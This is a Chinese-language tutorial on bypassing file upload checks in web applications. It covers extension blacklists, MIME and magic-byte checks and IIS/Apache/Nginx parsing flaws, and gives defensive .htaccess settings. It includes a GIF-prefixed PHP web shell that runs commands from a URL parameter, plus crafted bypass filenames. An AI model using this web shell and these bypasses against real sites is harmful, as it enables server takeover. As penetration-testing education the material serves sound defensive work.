檔案上傳漏洞繞過技巧
檔案上傳漏洞繞過技巧
一、檔案上傳漏洞介紹
通常web 站點會有使用者註冊功能,而當用戶登入之後大多數情況下都會存在類似頭像上傳、附件上傳一類的功能,這些功能點往往存在上傳驗證方式不嚴格的安全缺陷,是在web 滲透中非常關鍵的突破口,只要經過仔細測試分析來繞過上傳驗證機制,往往會造成被攻擊者直接上傳web 後門,進而控制整個web 業務的控制權,複雜一點的情況是結合webserver 的解析漏洞來上傳後門獲取許可權。
二、驗證方法與繞過
1.CONTENT-LENGTH驗證
Content-Length驗證是指伺服器會對上傳的檔案內容長度進行檢查,超出限制大小的檔案將不允許被上傳。雖然這種型別的驗證不是很受歡迎,但在一些應用的檔案上傳中也時常能碰到
示例:
if ($_FILES["fileToUpload"]["size"] > 30) { echo "Sorry, your file is too large."; }
CONTENT-LENGTH繞過
1.針對這種型別的驗證,我們可以通過上傳一些非常短的惡意程式碼來繞過。上傳檔案的大小取決於,(Web伺服器上的最大長度限制,我們可以使用不同大小的檔案來fuzzing上傳程式,從而計算出它的限制範圍)
2.如果截斷上傳檔案最大大小,修改檔案大小的限制,然後再發送給服務端。
2.客戶端javascript 檢測(通常為檢測副檔名)
顧名思義,就是在檔案被上傳到服務端的時候,對於檔名的副檔名進行檢查,如果不合法,則拒絕這次上傳
有兩種策略:
黑名單策略,副檔名在黑名單中的為不合法
示例程式碼:
$postfix = end(explode('.','$_POST['filename']); if($postfix=='php'||$postfix=='asp'||$postfix=='sh'){ echo "invalid file type"; return; }
白名單策略,副檔名不在白名單中的均為不合法
示例程式碼:
$postfix = end(explode('.','$_POST['filename']); if($postfix=='jpg'||$postfix=='png'||$postfix=='gif'){ //save the file and do something next } else { echo "invalid file type"; return; }
黑名單繞過:
通過上傳不受歡迎的php擴充套件來繞過黑名單。例如:pht,phpt,phtml,php3,php4,php5,php6
白名單繞過:
通過某種型別的技巧來繞過白名單,例如新增空位元組注入(shell.php%00.gif),或使用雙重擴充套件來上傳檔案(shell.jpg.php)。
此外,我們還可以嘗試副檔名大小寫來繞過,例如:pHp,Php,phP
白名單策略是更加安全的,通過限制上傳型別為只有我們接受的型別,可以較好的保證安全,因為黑名單我們可以使用各種方法來進行注入和突破。
更多繞過技巧:
在一些 webserver 中,存在解析漏洞
1.老版本的IIS中的目錄解析漏洞,如果網站目錄中有一個 /.asp/目錄,那麼此目錄下面的一切內容都會被當作asp指令碼來解析
2.老闆本的IIS中的分號漏洞:IIS在解析檔名的時候可能將分號後面的內容丟棄,那麼我們可以在上傳的時候給後面加入分號內容來避免黑名單過濾,如 a.asp;jpg
3.舊版Windows Server中存在空格和dot漏洞類似於 a.php. 和 a.php[空格] 這樣的檔名儲存後會被windows去掉點和空格,從而使得加上這兩個東西可以突破過濾,成功上傳,並且被當作php程式碼來執行
4.nginx空位元組漏洞 xxx.jpg%00.php 這樣的檔名會被解析為php程式碼執行
5.apache的解析漏洞,上傳如a.php.rar a.php.gif 型別的檔名,可以避免對於php檔案的過濾機制,但是由於apache在解析檔名的時候是從右向左讀,如果遇到不能識別的副檔名則跳過,rar等副檔名是apache不能識別的,因此就會直接將型別識別為php,從而達到了注入php程式碼的目的
3. 服務端MIME 型別檢測(檢測Content-Type 內容)
如: content-Type:aplication/x-php
繞過方法:
改為如下型別:
Content-Type: image/jpg
Content-Type: image/png
Content-Type: image/jpeg
Content-Type: image/gif
常用的MIMETYPE表
text/plain(純文字)
text/html(HTML文件)
text/javascript(js程式碼)
application/xhtml+xml(XHTML文件)
image/gif(GIF影象)
image/jpeg(JPEG影象)
image/png(PNG影象)
video/mpeg(MPEG動畫)
application/octet-stream(二進位制資料)
application/pdf(PDF文件)
application/(程式語言) 該種語言的程式碼
application/msword(Microsoft Word檔案)
message/rfc822(RFC 822形式)
multipart/alternative(HTML郵件的HTML形式和純文字形式,相同內容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表單)
multipart/form-data(POST提交時伴隨檔案上傳的表單)
4.分析檔案頭內容來檢查檔案型別
一種檢查型別的方式是使用對於檔案內容的驗證機制,這種方法利用的是每一個特定型別的檔案都會有不太一樣的開頭或者標誌位。可以通過比如php的exif_imagetype()函式
一個通過這種方法來過濾的示例程式碼如下:
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; return; }
繞過方法:
給上傳指令碼加上相應的幻數頭位元組就可以,php引擎會將 <?之前的內容當作html文字,不解釋而跳過之,後面的程式碼仍然能夠得到執行比如下面:
(一般不限制圖片檔案格式的時候使用GIF的頭比較方便,因為全都是文字可列印字元。)
GIF89a
<?
php echo shell_exec($_GET['cmd']);
?>
圖片檔案通常有稱作幻數的頭位元組,我們來看一下幾種圖片檔案的幻數:
(注意!下面是二進位制而不是文字格式的資料)
JPG
FF D8 FF E0 00 10 4A 46 49 46
GIF(相當於文字的GIF89a)
47 49 46 38 39 61
PNG
89 50 4E 47
通過檢查頭幾位位元組,可以分辨是否是圖片檔案
如果是其他型別的二進位制檔案,也有響應的頭位元組,如下表
格式 檔案頭
TIFF (tif) 49492A00
Windows Bitmap (bmp) 424D
CAD (dwg) 41433130
Adobe Photoshop (psd) 38425053
Rich Text Format (rtf) 7B5C727466
MS Word/Excel (xls.or.doc) D0CF11E0
MS Access (mdb) 5374616E64617264204A
ZIP Archive (zip), 504B0304
RAR Archive (rar), 52617221
Wave (wav), 57415645
AVI (avi), 41564920
Real Media (rm), 2E524D46
MPEG (mpg), 000001BA
MPEG (mpg), 000001B3
Quicktime (mov), 6D6F6F76
Adobe Acrobat (pdf), 255044462D312E
Windows Media (asf), 3026B2758E66CF11
MIDI (mid), 4D546864
5.檔案載入檢測
一般是呼叫API 或函式去進行檔案載入測試,常見的是影象渲染測試,再變態點的甚至是進行二次渲染(後面會提到)。
對渲染/載入測試的攻擊方式是程式碼注入繞過;
對二次渲染的攻擊方式是攻擊檔案載入器自身。
先說下對渲染/載入測試攻擊-程式碼注入繞過,可以用影象處理軟體對一張圖片進行程式碼注入。用winhex看資料可以分析出這類工具的原理是在不破壞檔案本身的渲染情況下找一個空白區進行填充程式碼,一般會是圖片的註釋區。對於渲染測試基本上都能繞過,畢竟本身的檔案結構是完整的.
但如果碰到變態的二次渲染,基本上就沒法繞過了,估計就只能對檔案載入器進行攻擊了。
一般進行遇到二次渲染,想繞過,它相當於是把原本屬於影象資料的部分抓了出來,再用自己的API 或函式進行重新渲染,在這個過程中非影象資料的部分直接就被隔離開了。能想到的一個思路就是基於資料二義性,即讓資料既是影象資料也包含一句話木馬程式碼,就像shellcode 通過資料二義性繞過IDS 檢測特殊字元一樣的道理。
如果要對檔案載入器進行攻擊,常見的就是溢位攻擊,上傳自己的惡意檔案後,伺服器上的檔案載入器會主動進行載入測試,載入測試時被溢位攻擊執行shellcode比如access/mdb 溢位如果要對檔案載入器進行攻擊,常見的就是溢位攻擊,上傳自己的惡意檔案後,伺服器上的檔案載入器會主動進行載入測試,載入測試時被溢位攻擊執行shellcode比如access/mdb 溢位。
總之對檔案完整性檢測的繞過,通常就直接用個結構完整的檔案進行程式碼注入即可沒必要再去測到底是檢查的幻數還是檔案頭結構之類的了。
解析攻擊
攻擊角度來分是這樣的:
直接解析(完全沒防禦或有一點簡單的防禦)
比如我們直接就可以上傳一個副檔名是.php的檔案,只需要簡單地繞過客戶端javascript 檢測或者服務端MIME 型別檢測就行了。
配合解析(有一定程度的防禦)
我們可以理解為先程式碼注入到伺服器上,上傳一個帶有一句話木馬的圖片或檔案之類
讓它待在某個位置,等待這一個解析的配合。(比如php 的檔案包含解析,web 伺服器的解析漏洞,.htaccess 解析等)
本地檔案包含解析
主要是php 的本地檔案包含(遠端檔案包含不屬於上傳攻擊繞過範疇)
htaccess解析
就不用多說了,看看之前.htaccess 檔案攻擊的那個案例,使用者自己定義如何去呼叫解析器解析檔案就可以了。
web應用程式解析漏洞以及其原理
Apache 解析漏洞
解析: test.php.任意不屬於黑名單且也不屬於Apache解析白名單的名稱
描述: 一個檔名為x1.x2.x3 的檔案,Apache 會從x3 的位置往x1 的位置開始嘗試解析,
如果x3 不屬於Apache 能解析的副檔名,那麼Apache會嘗試去解析x2 的位置,這樣一直往前嘗試,直到遇到一個能解析的副檔名為止
IIS 解析漏洞
解析- test.asp/任意檔名|test.asp;任意檔名| 任意檔名/任意檔名.php
描述- IIS6.0 在解析asp 格式的時候有兩個解析漏洞,一個是如果目錄名包含”.asp”字串,那麼這個目錄下所有的檔案都會按照asp 去解析,另一個是隻要檔名中含有”.asp;”會優先按asp 來解析。
IIS7.0/7.5 是對php 解析時有一個類似於Nginx的解析漏洞,對任意檔名只要在URL後面追加上字串”/任意檔名.php”就會按照php 的方式去解析。
Nginx 解析漏洞
解析- 任意檔名/任意檔名.php | 任意檔名%00.php
描述- 目前Nginx 主要有這兩種漏洞,一個是對任意檔名,在後面新增/任意檔名.php
的解析漏洞,比如原本檔名是test.jpg,可以新增為test.jpg/x.php進行解析攻擊。還有一種是對低版本的Nginx 可以在任意檔名後面新增%00.php 進行解析攻擊。
6.限制Web Server對於特定型別檔案的行為
導致檔案上傳漏洞的根本原因在於服務把使用者上傳的本應是資料的內容當作了程式碼,一般來說,使用者上傳的內容都會被儲存到特定的一個資料夾下,比如我們很多人習慣於放在 ./upload/ 下面要防止資料被當作程式碼執行,我們可以限制web server對於特定資料夾的行為。
大多數服務端軟體都可以支援使用者對於特定型別檔案的行為的自定義,以Apache為例:
在預設情況下,對與 .php檔案Apache會當作程式碼來執行,對於 html,css,js檔案,則會直接由HTTP Response交給客戶端程式對於一些資原始檔,比如txt,doc,rar等等,則也會以檔案下載的方式傳送的客戶端。我們希望使用者上傳的東西僅僅當作資源和資料而不能當作程式碼
因此可以使用伺服器程式的介面來進行限制
以Apache為例,我們可以利用 .htaccess 檔案機制來對web server行為進行限制
在這裡插一句,如果不是專門的檔案下載目錄,請務必關掉資料夾瀏覽的許可權,以防止嗅探和可能的越權,也是使用.htaccess檔案,在其中加上一句
Options All -Indexes
即可。
禁止指令碼執行有多種方式可以實現,而且分別有不同的效果,我們分別來看一下
1.指定特定副檔名的檔案的處理方式,原理是指定Response的Content-Type可以加上如下幾行
AddType text/plain .pl .py .php
這種情況下,以上幾種指令碼檔案會被當作純文字來顯示出來,你也可以換成其他的Content-Type
2.如果要完全禁止特定副檔名的檔案被訪問,用下面的幾行
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi識別
在這種情況下,以上幾種型別的檔案被訪問的時候,會返回403 Forbidden的錯誤
3.也可以強制web伺服器對於特定檔案型別的處理,與第一條不同的是, 下面的方法直接強行讓apache將檔案識別為你指定的型別,而第一種是讓瀏覽器
<FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
ForceType text/plain
</FilesMatch>
看程式碼就可以很明白的知道,符合上面正則的全部被認為是純文字,也可以繼續往裡面加入其他型別。
4.只允許訪問特定型別的檔案
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>
在一個上傳圖片的資料夾下面,就可以加上這段程式碼,使得該資料夾裡面只有圖片副檔名的檔案才可以被訪問,其他型別都是拒絕訪問。
這又是一個白名單的處理方案
永遠記得,白名單是最有保障的安全措施
反制
可以通過 move_uploaded_file 函式把自己寫的.htaccess 檔案上傳,覆蓋掉伺服器上的檔案,來定義檔案型別和執行許可權如果做到了這一點,將獲得相當大的許可權。